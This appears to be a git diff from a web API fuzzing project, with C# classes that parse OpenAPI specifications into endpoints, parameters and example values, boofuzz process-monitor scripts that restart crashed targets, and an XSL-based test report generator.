|
||||
Assert.AreEqual(testingArrayItemFormat, arrayTypeDictionary["Format"]);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void SchemaWithAdditionalProperties()
|
||||
{
|
||||
string testingPropertyName = "testKey";
|
||||
string testingPropertyType = "boolean";
|
||||
bool testingPropertyExample = true;
|
||||
string testingPropertyFormat = null;
|
||||
|
||||
Dictionary<string, OpenApiMediaType> content = new Dictionary<string, OpenApiMediaType>
|
||||
{
|
||||
{
|
||||
"application/json", new OpenApiMediaType
|
||||
{
|
||||
Schema = new OpenApiSchema
|
||||
{
|
||||
AdditionalPropertiesAllowed = true,
|
||||
AdditionalProperties = new OpenApiSchema {Properties = new Dictionary<string, OpenApiSchema>
|
||||
{
|
||||
{
|
||||
testingPropertyName, new OpenApiSchema
|
||||
{
|
||||
Type = testingPropertyType,
|
||||
Example = new OpenApiBoolean(testingPropertyExample),
|
||||
Title = testingPropertyName,
|
||||
Format = testingPropertyFormat
|
||||
}
|
||||
}
|
||||
}}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
};
|
||||
|
||||
Dictionary<string, object> firstAdditionalPropertyDictionary = (Dictionary<string, object>) SchemaParser.ParseSchema(content).First().Value;
|
||||
Dictionary<string, object> firstAdditionalPropertyItemDictionary = (Dictionary<string, object>)firstAdditionalPropertyDictionary.First().Value;
|
||||
|
||||
Assert.AreEqual(testingPropertyName, firstAdditionalPropertyDictionary.First().Key);
|
||||
|
||||
Assert.That(firstAdditionalPropertyItemDictionary.ContainsKey("Title"));
|
||||
Assert.That(firstAdditionalPropertyItemDictionary.ContainsKey("Type"));
|
||||
Assert.That(firstAdditionalPropertyItemDictionary.ContainsKey("Format"));
|
||||
Assert.That(firstAdditionalPropertyItemDictionary.ContainsKey("Example"));
|
||||
|
||||
Assert.AreEqual(testingPropertyName, firstAdditionalPropertyItemDictionary["Title"]);
|
||||
Assert.AreEqual(testingPropertyType, firstAdditionalPropertyItemDictionary["Type"]);
|
||||
Assert.AreEqual(testingPropertyFormat, firstAdditionalPropertyItemDictionary["Format"]);
|
||||
Assert.AreEqual(testingPropertyExample.ToString(), firstAdditionalPropertyItemDictionary["Example"]);
|
||||
}
|
||||
}
|
||||
}
|
||||
31
parser/Parser/AttributeParser.cs
Normal file
31
parser/Parser/AttributeParser.cs
Normal file
@@ -0,0 +1,31 @@
|
||||
using System;
|
||||
using Microsoft.OpenApi.Models;
|
||||
using Models;
|
||||
|
||||
namespace Parser
|
||||
{
|
||||
public static class AttributeParser
|
||||
{
|
||||
public static UriAttribute ParseAttribute(OpenApiParameter parameter)
|
||||
{
|
||||
if (parameter.In == ParameterLocation.Path || parameter.In == ParameterLocation.Query)
|
||||
{
|
||||
if (parameter.Schema == null || parameter.Schema.Type == null && parameter.Schema.Format == null)
|
||||
{
|
||||
throw new ArgumentException("We do not know anything useful about passed URI parameter.");
|
||||
}
|
||||
|
||||
UriAttribute attribute = new UriAttribute(parameter.Name, parameter.Required)
|
||||
{
|
||||
ExampleValue = ContentParser.GetStringExampleFromContent(parameter.Example, parameter.Examples) ??
|
||||
ContentParser.GetSingleExample(parameter.Schema?.Example) ??
|
||||
PrimitiveDataTypeExampleGenerator.GenerateExampleValueByType(parameter.Schema.Type, parameter.Schema.Format),
|
||||
Type = parameter.Schema.Type,
|
||||
Format = parameter.Schema.Format
|
||||
};
|
||||
return attribute;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
42
parser/Parser/ContentParser.cs
Normal file
42
parser/Parser/ContentParser.cs
Normal file
@@ -0,0 +1,42 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Microsoft.OpenApi.Any;
|
||||
using Microsoft.OpenApi.Models;
|
||||
|
||||
namespace Parser
|
||||
{
|
||||
public static class ContentParser
|
||||
{
|
||||
public static string GetStringExampleFromContent(IOpenApiAny example, IDictionary<string, OpenApiExample> examples)
|
||||
{
|
||||
return GetSingleExample(example) ?? GetExampleFromExamplesDict(examples);
|
||||
}
|
||||
|
||||
public static string GetSingleExample(IOpenApiAny example)
|
||||
{
|
||||
return example != null ? GetStringFromAnyType(example) : null;
|
||||
}
|
||||
|
||||
// If there are more examples, take the first one
|
||||
// To the future consider creating request for each example
|
||||
static string GetExampleFromExamplesDict(IDictionary<string, OpenApiExample> examples)
|
||||
{
|
||||
return examples.Count > 0 ? GetSingleExample(examples.First().Value.Value) : null;
|
||||
}
|
||||
|
||||
static string GetStringFromAnyType(IOpenApiAny value)
|
||||
{
|
||||
switch (value.AnyType)
|
||||
{
|
||||
case AnyType.Primitive:
|
||||
return OpenApiAnyConvertor.GetPrimitiveValue(value);
|
||||
case AnyType.Object:
|
||||
case AnyType.Array:
|
||||
return OpenApiAnyConvertor.GetJsonValue(value);
|
||||
default:
|
||||
throw new NotImplementedException("This data example type is not supported yet!");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
30
parser/Parser/EndpointParser.cs
Normal file
30
parser/Parser/EndpointParser.cs
Normal file
@@ -0,0 +1,30 @@
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.OpenApi.Models;
|
||||
using Models;
|
||||
|
||||
namespace Parser
|
||||
{
|
||||
public static class EndpointParser
|
||||
{
|
||||
public static List<Endpoint> ParseAllEndpoints(OpenApiDocument openApiDocument)
|
||||
{
|
||||
List<Endpoint> endpoints = new List<Endpoint>();
|
||||
|
||||
foreach (var path in openApiDocument.Paths)
|
||||
{
|
||||
endpoints.Add(ParseEndpoint(path));
|
||||
}
|
||||
return endpoints;
|
||||
}
|
||||
|
||||
static Endpoint ParseEndpoint(KeyValuePair<string, OpenApiPathItem> path)
|
||||
{
|
||||
Endpoint endpoint = new Endpoint(path.Key);
|
||||
foreach (KeyValuePair<OperationType, OpenApiOperation> operation in path.Value.Operations)
|
||||
{
|
||||
endpoint.Requests.Add(RequestParser.ParseRequest(operation));
|
||||
}
|
||||
return endpoint;
|
||||
}
|
||||
}
|
||||
}
|
||||
37
parser/Parser/ExamplesParser.cs
Normal file
37
parser/Parser/ExamplesParser.cs
Normal file
@@ -0,0 +1,37 @@
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.OpenApi.Models;
|
||||
|
||||
namespace Parser
|
||||
{
|
||||
public static class ExamplesParser
|
||||
{
|
||||
static readonly List<string> SupportedContentTypes = new List<string> { "application/json", "text/plain" };
|
||||
|
||||
public static string ParseExample(IDictionary<string, OpenApiMediaType> contentDict)
|
||||
{
|
||||
foreach (var supportedContentType in SupportedContentTypes)
|
||||
{
|
||||
if (contentDict.ContainsKey(supportedContentType))
|
||||
return GetSpecificContentTypeExample(contentDict, supportedContentType);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
static string GetSpecificContentTypeExample(IDictionary<string, OpenApiMediaType> contentDict, string contentType)
|
||||
{
|
||||
var content = contentDict[contentType];
|
||||
return GetRealExample(content) ?? GetExampleFromSchema(content);
|
||||
}
|
||||
|
||||
static string GetRealExample(OpenApiMediaType content)
|
||||
{
|
||||
return ContentParser.GetStringExampleFromContent(content.Example, content.Examples);
|
||||
}
|
||||
|
||||
static string GetExampleFromSchema(OpenApiMediaType content)
|
||||
{
|
||||
return content.Schema != null ? ContentParser.GetStringExampleFromContent(content.Schema.Example, new Dictionary<string, OpenApiExample>()) : null;
|
||||
}
|
||||
}
|
||||
}
|
||||
68
parser/Parser/OpenApiAnyConvertor.cs
Normal file
68
parser/Parser/OpenApiAnyConvertor.cs
Normal file
@@ -0,0 +1,68 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using Microsoft.OpenApi.Any;
|
||||
using Microsoft.OpenApi.Writers;
|
||||
|
||||
namespace Parser
|
||||
{
|
||||
public static class OpenApiAnyConvertor
|
||||
{
|
||||
public static string GetPrimitiveValue(IOpenApiAny value)
|
||||
{
|
||||
IOpenApiPrimitive primitive = (IOpenApiPrimitive) value;
|
||||
|
||||
switch (primitive.PrimitiveType)
|
||||
{
|
||||
case PrimitiveType.String:
|
||||
OpenApiString stringValue = (OpenApiString) primitive;
|
||||
return stringValue.Value;
|
||||
case PrimitiveType.Boolean:
|
||||
OpenApiBoolean booleanValue = (OpenApiBoolean) primitive;
|
||||
return booleanValue.Value.ToString();
|
||||
case PrimitiveType.Integer:
|
||||
OpenApiInteger integerValue = (OpenApiInteger) primitive;
|
||||
return integerValue.Value.ToString();
|
||||
case PrimitiveType.Long:
|
||||
OpenApiLong longValue = (OpenApiLong) primitive;
|
||||
return longValue.Value.ToString();
|
||||
case PrimitiveType.Float:
|
||||
OpenApiFloat floatValue = (OpenApiFloat) primitive;
|
||||
return floatValue.Value.ToString(CultureInfo.InvariantCulture);
|
||||
case PrimitiveType.Double:
|
||||
OpenApiDouble doubleValue = (OpenApiDouble) primitive;
|
||||
return doubleValue.Value.ToString(CultureInfo.InvariantCulture);
|
||||
case PrimitiveType.Byte:
|
||||
OpenApiByte byteValue = (OpenApiByte) primitive;
|
||||
return Encoding.Default.GetString(byteValue.Value);
|
||||
case PrimitiveType.Binary:
|
||||
OpenApiBinary binaryValue = (OpenApiBinary) primitive;
|
||||
StringBuilder builder = new StringBuilder();
|
||||
foreach (byte byteVal in binaryValue.Value)
|
||||
{
|
||||
builder.Append(Convert.ToString(byteVal, 2).PadLeft(8, '0'));
|
||||
}
|
||||
return builder.ToString();
|
||||
case PrimitiveType.Date:
|
||||
OpenApiDate dateValue = (OpenApiDate) primitive;
|
||||
return dateValue.Value.ToString(CultureInfo.InvariantCulture);
|
||||
case PrimitiveType.DateTime:
|
||||
OpenApiDateTime dateTimeValue = (OpenApiDateTime) primitive;
|
||||
return dateTimeValue.Value.ToString();
|
||||
case PrimitiveType.Password:
|
||||
OpenApiPassword passwordValue = (OpenApiPassword) primitive;
|
||||
return passwordValue.Value;
|
||||
default:
|
||||
throw new NotImplementedException("This data example type is not supported yet!");
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetJsonValue(IOpenApiAny value)
|
||||
{
|
||||
StringBuilder builder = new StringBuilder();
|
||||
value.Write(new OpenApiJsonWriter(new StringWriter(builder)), OpenApiDocumentParser.Version);
|
||||
return builder.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
39
parser/Parser/OpenApiDocumentParser.cs
Normal file
39
parser/Parser/OpenApiDocumentParser.cs
Normal file
@@ -0,0 +1,39 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using Microsoft.OpenApi;
|
||||
using Microsoft.OpenApi.Models;
|
||||
using Microsoft.OpenApi.Readers;
|
||||
|
||||
namespace Parser
|
||||
{
|
||||
public static class OpenApiDocumentParser
|
||||
{
|
||||
public static OpenApiSpecVersion Version;
|
||||
public static OpenApiDocument ParseOpenApiDocument(string openApiDocFilePath)
|
||||
{
|
||||
OpenApiDocument openApiDocument;
|
||||
using (FileStream stream = File.Open(openApiDocFilePath, FileMode.Open))
|
||||
{
|
||||
openApiDocument = new OpenApiStreamReader().Read(stream, out var diagnostic);
|
||||
|
||||
StoreDocumentVersion(diagnostic.SpecificationVersion);
|
||||
PrintParsingErrors(diagnostic.Errors);
|
||||
}
|
||||
return openApiDocument;
|
||||
}
|
||||
|
||||
static void PrintParsingErrors(IList<OpenApiError> errors)
|
||||
{
|
||||
foreach (var openApiError in errors)
|
||||
{
|
||||
Console.WriteLine("WARNING: Following parsing error occurs: " + openApiError.Message);
|
||||
}
|
||||
}
|
||||
|
||||
static void StoreDocumentVersion(OpenApiSpecVersion version)
|
||||
{
|
||||
Version = version;
|
||||
}
|
||||
}
|
||||
}
|
||||
15
parser/Parser/Parser.csproj
Normal file
15
parser/Parser/Parser.csproj
Normal file
@@ -0,0 +1,15 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
|
||||
<PropertyGroup>
|
||||
<TargetFramework>netcoreapp2.1</TargetFramework>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<PackageReference Include="Microsoft.OpenApi.Readers" Version="1.1.3" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\Models\Models.csproj" />
|
||||
</ItemGroup>
|
||||
|
||||
</Project>
|
||||
48
parser/Parser/PrimitiveDataTypeExampleGenerator.cs
Normal file
48
parser/Parser/PrimitiveDataTypeExampleGenerator.cs
Normal file
@@ -0,0 +1,48 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
namespace Parser
|
||||
{
|
||||
// Data types for Open API 2 and OpenAPI 3 are basically the same:
|
||||
// https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.0.md
|
||||
// https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md
|
||||
public static class PrimitiveDataTypeExampleGenerator
|
||||
{
|
||||
public static string GenerateExampleValueByType(string type, string format)
|
||||
{
|
||||
switch (type)
|
||||
{
|
||||
case "integer":
|
||||
return "42";
|
||||
case "number":
|
||||
return "42.0";
|
||||
case "boolean":
|
||||
return "True";
|
||||
case "string":
|
||||
{
|
||||
const string example = "example";
|
||||
switch (format)
|
||||
{
|
||||
case null:
|
||||
return example;
|
||||
case "byte":
|
||||
var plainTextBytes = Encoding.UTF8.GetBytes(example);
|
||||
return Encoding.Default.GetString(plainTextBytes);
|
||||
case "binary":
|
||||
return "01234567";
|
||||
case "date":
|
||||
return "2002-10-02";
|
||||
case "date-time":
|
||||
return "2002-10-02T10:00:00-05:00";
|
||||
case "password":
|
||||
return example;
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
throw new NotImplementedException("Unrecognized value data type! Check the OpenAPI documentation for new types!");
|
||||
}
|
||||
}
|
||||
}
|
||||
59
parser/Parser/RequestParser.cs
Normal file
59
parser/Parser/RequestParser.cs
Normal file
@@ -0,0 +1,59 @@
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.OpenApi.Models;
|
||||
using Models;
|
||||
|
||||
namespace Parser
|
||||
{
|
||||
public static class RequestParser
|
||||
{
|
||||
public static Request ParseRequest(KeyValuePair<OperationType, OpenApiOperation> operation)
|
||||
{
|
||||
var request = new Request(operation.Key.ToString())
|
||||
{
|
||||
Summary = operation.Value.Summary,
|
||||
BodyExample = GetBodyExample(operation.Value.RequestBody),
|
||||
BodySchema = GetBodySchema(operation.Value.RequestBody),
|
||||
UriAttributes = ParseUriAttributes(operation.Value),
|
||||
Responses = ParseResponses(operation.Value)
|
||||
};
|
||||
|
||||
return request;
|
||||
}
|
||||
|
||||
static string GetBodyExample(OpenApiRequestBody body)
|
||||
{
|
||||
return body != null ? ExamplesParser.ParseExample(body.Content) : null;
|
||||
}
|
||||
|
||||
static Dictionary<string, object> GetBodySchema(OpenApiRequestBody body)
|
||||
{
|
||||
return body != null ? SchemaParser.ParseSchema(body.Content) : null;
|
||||
}
|
||||
|
||||
static List<UriAttribute> ParseUriAttributes(OpenApiOperation operation)
|
||||
{
|
||||
List<UriAttribute> attributes = new List<UriAttribute>();
|
||||
foreach (var parameter in operation.Parameters)
|
||||
{
|
||||
var attribute = AttributeParser.ParseAttribute(parameter);
|
||||
if (attribute != null)
|
||||
{
|
||||
attributes.Add(attribute);
|
||||
}
|
||||
}
|
||||
|
||||
return attributes;
|
||||
}
|
||||
|
||||
static List<Response> ParseResponses(OpenApiOperation operation)
|
||||
{
|
||||
List<Response> responses = new List<Response>();
|
||||
foreach (var openApiResponse in operation.Responses)
|
||||
{
|
||||
responses.Add(ResponseParser.ParseResponse(openApiResponse));
|
||||
}
|
||||
|
||||
return responses;
|
||||
}
|
||||
}
|
||||
}
|
||||
40
parser/Parser/ResponseParser.cs
Normal file
40
parser/Parser/ResponseParser.cs
Normal file
@@ -0,0 +1,40 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.OpenApi.Models;
|
||||
using Models;
|
||||
|
||||
namespace Parser
|
||||
{
|
||||
public static class ResponseParser
|
||||
{
|
||||
public static Response ParseResponse(KeyValuePair<string, OpenApiResponse> openApiResponse)
|
||||
{
|
||||
string example = null;
|
||||
if (openApiResponse.Value != null)
|
||||
example = ExamplesParser.ParseExample(openApiResponse.Value.Content);
|
||||
|
||||
var response = new Response
|
||||
{
|
||||
Example = example,
|
||||
StatusCode = ParseStatusCode(openApiResponse.Key)
|
||||
};
|
||||
|
||||
return response;
|
||||
}
|
||||
|
||||
static int ParseStatusCode(string responseKey)
|
||||
{
|
||||
if (responseKey == "default")
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!int.TryParse(responseKey, out var statusCode))
|
||||
{
|
||||
throw new NotImplementedException("Provided status code is not supported: " + responseKey);
|
||||
}
|
||||
|
||||
return statusCode;
|
||||
}
|
||||
}
|
||||
}
|
||||
78
parser/Parser/SchemaParser.cs
Normal file
78
parser/Parser/SchemaParser.cs
Normal file
@@ -0,0 +1,78 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Microsoft.OpenApi.Models;
|
||||
|
||||
namespace Parser
|
||||
{
|
||||
public static class SchemaParser
|
||||
{
|
||||
public static Dictionary<string, object> ParseSchema(IDictionary<string, OpenApiMediaType> contentDict)
|
||||
{
|
||||
return contentDict.ContainsKey("application/json") ? ParseSchemaProperties(contentDict["application/json"].Schema) : null;
|
||||
}
|
||||
|
||||
static Dictionary<string, object> ParseSchemaProperties(OpenApiSchema schema)
|
||||
{
|
||||
Dictionary<string, object> parsedSchema = new Dictionary<string, object>();
|
||||
|
||||
if (schema.AdditionalPropertiesAllowed && schema.AdditionalProperties != null)
|
||||
{
|
||||
Dictionary<string, object> nestedSchema = ParseSchemaProperties(schema.AdditionalProperties);
|
||||
|
||||
// Create single object with string key: "AdditionalPropertyExample1" and with nested schema as it is in documentation
|
||||
// There can be multiple nested objects, but we want to reduce number of generated test cases
|
||||
parsedSchema.Add("AdditionalPropertyExample1", nestedSchema);
|
||||
}
|
||||
|
||||
if (schema.AllOf.Count > 0)
|
||||
{
|
||||
foreach (var openApiSchema in schema.AllOf)
|
||||
{
|
||||
Dictionary<string, object> nestedSchema = ParseSchemaProperties(openApiSchema);
|
||||
parsedSchema = MergeTwoDictionaries(nestedSchema, parsedSchema);
|
||||
}
|
||||
}
|
||||
|
||||
if (schema.OneOf.Count > 0)
|
||||
{
|
||||
Dictionary<string, object> nestedSchema = ParseSchemaProperties(schema.OneOf.First());
|
||||
parsedSchema = MergeTwoDictionaries(nestedSchema, parsedSchema);
|
||||
}
|
||||
|
||||
if (schema.AnyOf.Count > 0)
|
||||
{
|
||||
Dictionary<string, object> nestedSchema = ParseSchemaProperties(schema.AnyOf.First());
|
||||
parsedSchema = MergeTwoDictionaries(nestedSchema, parsedSchema);
|
||||
}
|
||||
|
||||
if (schema.Properties != null && schema.Properties.Count > 0)
|
||||
{
|
||||
foreach (var property in schema.Properties)
|
||||
{
|
||||
Dictionary<string, object> nestedSchema = ParseSchemaProperties(property.Value);
|
||||
parsedSchema.Add(property.Key, nestedSchema);
|
||||
}
|
||||
}
|
||||
else if (schema.Type != null && schema.Type.ToLower() == "array")
|
||||
{
|
||||
parsedSchema.Add("Type", schema.Type);
|
||||
Dictionary<string, object> arrayItemsSchema = ParseSchemaProperties(schema.Items);
|
||||
parsedSchema.Add("ArrayItemSchema", arrayItemsSchema);
|
||||
}
|
||||
else if (schema.Type != "object")
|
||||
{
|
||||
parsedSchema.Add("Title", schema.Title);
|
||||
parsedSchema.Add("Type", schema.Type);
|
||||
parsedSchema.Add("Format", schema.Format);
|
||||
parsedSchema.Add("Example", ContentParser.GetSingleExample(schema.Example));
|
||||
}
|
||||
|
||||
return parsedSchema;
|
||||
}
|
||||
|
||||
static Dictionary<string, object> MergeTwoDictionaries(Dictionary<string, object> first, Dictionary<string, object> second)
|
||||
{
|
||||
return new List<Dictionary<string, object>> { first, second }.SelectMany(dict => dict).ToDictionary(pair => pair.Key, pair => pair.Value);
|
||||
}
|
||||
}
|
||||
}
|
||||
30
procmon/README.md
Normal file
30
procmon/README.md
Normal file
@@ -0,0 +1,30 @@
|
||||
# Process monitor
|
||||
Process monitor is Python 2 script, which can monitor tested process.
|
||||
This means, it should be running on testing target.
|
||||
You can find process monitor script in this folder both for Windows and Unix systems.
|
||||
|
||||
Process monitor works by communication via port 26002, so all nodes between tested and testing device needs to have open this port.
|
||||
|
||||
## What is it good for?
|
||||
Well, process monitor is used for the following benefits:
|
||||
- Restarting tested application after failure
|
||||
- Checks before and after each test if process is still running
|
||||
- Starting tested application when it dies cause of testing payload
|
||||
- Generating dump file for each application crash
|
||||
|
||||
## Installation
|
||||
Windows process monitor needs some prerequisites. See installation instructions here:
|
||||
https://boofuzz.readthedocs.io/en/latest/user/install.html#extras
|
||||
|
||||
## Running of script
|
||||
Process monitor contains help with arguments description, so just enter `--help` argument and it will print a help for you.
|
||||
|
||||
Example command:
|
||||
`python process_monitor_windows.py -p TestedApplication.exe`
|
||||
|
||||
|
||||
## How to tell WFuzz that we want to monitor process?
|
||||
If you want to use process monitor, just add starting command for your tested service / process into WFuzz configuration file. Example configuration key should look like this:
|
||||
`"startup_command": ["python", "C:\\server\\httpd.py"]`
|
||||
|
||||
WFuzz then automatically connect with running process monitor script on tested system and will use its features.
|
||||
110
procmon/process_monitor_unix.py
Normal file
110
procmon/process_monitor_unix.py
Normal file
@@ -0,0 +1,110 @@
|
||||
import sys
|
||||
|
||||
import click
|
||||
|
||||
from boofuzz import helpers
|
||||
from boofuzz.constants import DEFAULT_PROCMON_PORT
|
||||
from boofuzz.utils.debugger_thread_simple import DebuggerThreadSimple
|
||||
from boofuzz.utils.process_monitor_pedrpc_server import ProcessMonitorPedrpcServer
|
||||
|
||||
"""
|
||||
By nnp
|
||||
http://www.unprotectedhex.com
|
||||
|
||||
This intended as a basic replacement for Sulley's process_monitor.py on *nix.
|
||||
The below options are accepted. Crash details are limited to the signal that
|
||||
caused the death and whatever operating system supported mechanism is in place (i.e
|
||||
core dumps)
|
||||
|
||||
Replicated methods:
|
||||
- alive
|
||||
- log
|
||||
- post_send
|
||||
- pre_send
|
||||
- start_target
|
||||
- stop_target
|
||||
- set_start_commands
|
||||
- set_stop_commands
|
||||
|
||||
Limitations
|
||||
- Cannot attach to an already running process
|
||||
- Currently only accepts one start_command
|
||||
- Limited 'crash binning'. Relies on the availability of core dumps. These
|
||||
should be created in the same directory the process is ran from on Linux
|
||||
and in the (hidden) /cores directory on OS X. On OS X you have to add
|
||||
the option COREDUMPS=-YES- to /etc/hostconfig and then `ulimit -c
|
||||
unlimited` as far as I know. A restart may be required. The file
|
||||
specified by crash_bin will any other available details such as the test
|
||||
that caused the crash and the signal received by the program
|
||||
"""
|
||||
|
||||
|
||||
def err(msg):
|
||||
sys.stderr.write("ERR> " + msg + "\n") or sys.exit(1)
|
||||
|
||||
|
||||
def serve_procmon(port, crash_bin, proc_name, ignore_pid, log_level, coredump_dir):
|
||||
with ProcessMonitorPedrpcServer(
|
||||
host="0.0.0.0",
|
||||
port=port,
|
||||
crash_filename=crash_bin,
|
||||
debugger_class=DebuggerThreadSimple,
|
||||
proc_name=proc_name,
|
||||
pid_to_ignore=ignore_pid,
|
||||
level=log_level,
|
||||
coredump_dir=coredump_dir,
|
||||
) as servlet:
|
||||
servlet.serve_forever()
|
||||
|
||||
|
||||
@click.command()
|
||||
@click.option(
|
||||
"--crash-bin",
|
||||
"--crash_bin",
|
||||
"-c",
|
||||
help="filename to serialize crash bin class to",
|
||||
default="boofuzz-crash-bin",
|
||||
metavar="FILENAME",
|
||||
)
|
||||
@click.option(
|
||||
"--ignore-pid",
|
||||
"--ignore_pid",
|
||||
"-i",
|
||||
type=int,
|
||||
help="PID to ignore when searching for target process",
|
||||
metavar="PID",
|
||||
)
|
||||
@click.option(
|
||||
"--log-level",
|
||||
"--log_level",
|
||||
"-l",
|
||||
help="log level: default 1, increase for more verbosity",
|
||||
type=int,
|
||||
default=1,
|
||||
metavar="LEVEL",
|
||||
)
|
||||
@click.option("--proc-name", "--proc_name", "-p", help="process name to search for and attach to", metavar="NAME")
|
||||
@click.option("--port", "-P", help="TCP port to bind this agent to", type=int, default=DEFAULT_PROCMON_PORT)
|
||||
@click.option(
|
||||
"--coredump-dir",
|
||||
"--coredump_dir",
|
||||
"-d",
|
||||
help="directory where coredumps are moved to (you may need to adjust ulimits to create coredumps)",
|
||||
default="coredumps",
|
||||
)
|
||||
def go(crash_bin, ignore_pid, log_level, proc_name, port, coredump_dir):
|
||||
if coredump_dir is not None:
|
||||
helpers.mkdir_safe(coredump_dir)
|
||||
|
||||
serve_procmon(
|
||||
port=port,
|
||||
crash_bin=crash_bin,
|
||||
proc_name=proc_name,
|
||||
ignore_pid=ignore_pid,
|
||||
log_level=log_level,
|
||||
coredump_dir=coredump_dir,
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
go()
|
||||
66
procmon/process_monitor_windows.py
Normal file
66
procmon/process_monitor_windows.py
Normal file
@@ -0,0 +1,66 @@
|
||||
#!c:\\python\\python.exe
|
||||
from __future__ import print_function
|
||||
|
||||
import click
|
||||
|
||||
from boofuzz.constants import DEFAULT_PROCMON_PORT
|
||||
from boofuzz.utils.debugger_thread_pydbg import DebuggerThreadPydbg
|
||||
from boofuzz.utils.process_monitor_pedrpc_server import ProcessMonitorPedrpcServer
|
||||
|
||||
|
||||
def serve_procmon(port, crash_bin, proc_name, ignore_pid, log_level):
|
||||
with ProcessMonitorPedrpcServer(
|
||||
host="0.0.0.0",
|
||||
port=port,
|
||||
crash_filename=crash_bin,
|
||||
debugger_class=DebuggerThreadPydbg,
|
||||
proc_name=proc_name,
|
||||
pid_to_ignore=ignore_pid,
|
||||
level=log_level,
|
||||
coredump_dir=None,
|
||||
) as servlet:
|
||||
servlet.serve_forever()
|
||||
|
||||
|
||||
# app.args.add_argument("-c", "--crash_bin", help='filename to serialize crash bin class to',
|
||||
# default='boofuzz-crash-bin', metavar='FILENAME')
|
||||
# app.args.add_argument("-i", "--ignore_pid", help='PID to ignore when searching for target process', type=int,
|
||||
# metavar='PID')
|
||||
# app.args.add_argument("-l", "--log_level", help='log level: default 1, increase for more verbosity', type=int,
|
||||
# default=1, metavar='LEVEL')
|
||||
# app.args.add_argument("-p", "--proc_name", help='process name to search for and attach to', metavar='NAME')
|
||||
# app.args.add_argument("-P", "--port", help='TCP port to bind this agent to', type=int, default=DEFAULT_PROCMON_PORT)
|
||||
@click.command()
|
||||
@click.option(
|
||||
"--crash-bin",
|
||||
"--crash_bin",
|
||||
"-c",
|
||||
help="filename to serialize crash bin class to",
|
||||
default="boofuzz-crash-bin",
|
||||
metavar="FILENAME",
|
||||
)
|
||||
@click.option(
|
||||
"--ignore-pid",
|
||||
"--ignore_pid",
|
||||
"-i",
|
||||
type=int,
|
||||
help="PID to ignore when searching for target process",
|
||||
metavar="PID",
|
||||
)
|
||||
@click.option(
|
||||
"--log-level",
|
||||
"--log_level",
|
||||
"-l",
|
||||
help="log level: default 1, increase for more verbosity",
|
||||
type=int,
|
||||
default=1,
|
||||
metavar="LEVEL",
|
||||
)
|
||||
@click.option("--proc-name", "--proc_name", "-p", help="process name to search for and attach to", metavar="NAME")
|
||||
@click.option("--port", "-P", help="TCP port to bind this agent to", type=int, default=DEFAULT_PROCMON_PORT)
|
||||
def go(crash_bin, ignore_pid, log_level, proc_name, port):
|
||||
serve_procmon(port=port, crash_bin=crash_bin, proc_name=proc_name, ignore_pid=ignore_pid, log_level=log_level)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
go()
|
||||
4
reporter/Dockerfile
Normal file
4
reporter/Dockerfile
Normal file
@@ -0,0 +1,4 @@
|
||||
FROM openjdk:11
|
||||
COPY . /usr/src/saxon
|
||||
WORKDIR /usr/src/saxon
|
||||
CMD ["java", "-jar", "saxon9he.jar", "-s:reports.junit.xml", "-xsl:xunit_to_html.xsl"]
|
||||
2
reporter/README.md
Normal file
2
reporter/README.md
Normal file
@@ -0,0 +1,2 @@
|
||||
# xunit-to-html
|
||||
Link to original solution repository: https://github.com/Zir0-93/xunit-to-html
|
||||
BIN
reporter/saxon9he.jar
Normal file
BIN
reporter/saxon9he.jar
Normal file
Binary file not shown.
665
reporter/xunit_to_html.xsl
Normal file
665
reporter/xunit_to_html.xsl
Normal file
@@ -0,0 +1,665 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<xsl:stylesheet version="2.0" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="/">
|
||||
<xsl:variable name="total_tests" select="sum(//testsuite/@tests[number(.) = number(.)])">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="total_errors" select="sum(//testsuite/@errors[number(.) = number(.)])">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="total_failures" select="sum(//testsuite/@failures[number(.) = number(.)])">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="total_skipped" select="sum(//testsuite/@skipped[number(.) = number(.)])">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="total_successful" select="$total_tests - ($total_errors + $total_failures + $total_skipped)">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="total_time" select="sum(//testsuite/testcase/@time[number(.) = number(.)])">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="total_m" select="floor($total_time div 60)">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="total_s" select="$total_time mod 60">
|
||||
</xsl:variable>
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet"/>
|
||||
<style>
|
||||
.errorMessage {
|
||||
font-size: 16px;
|
||||
font-family: Lato;
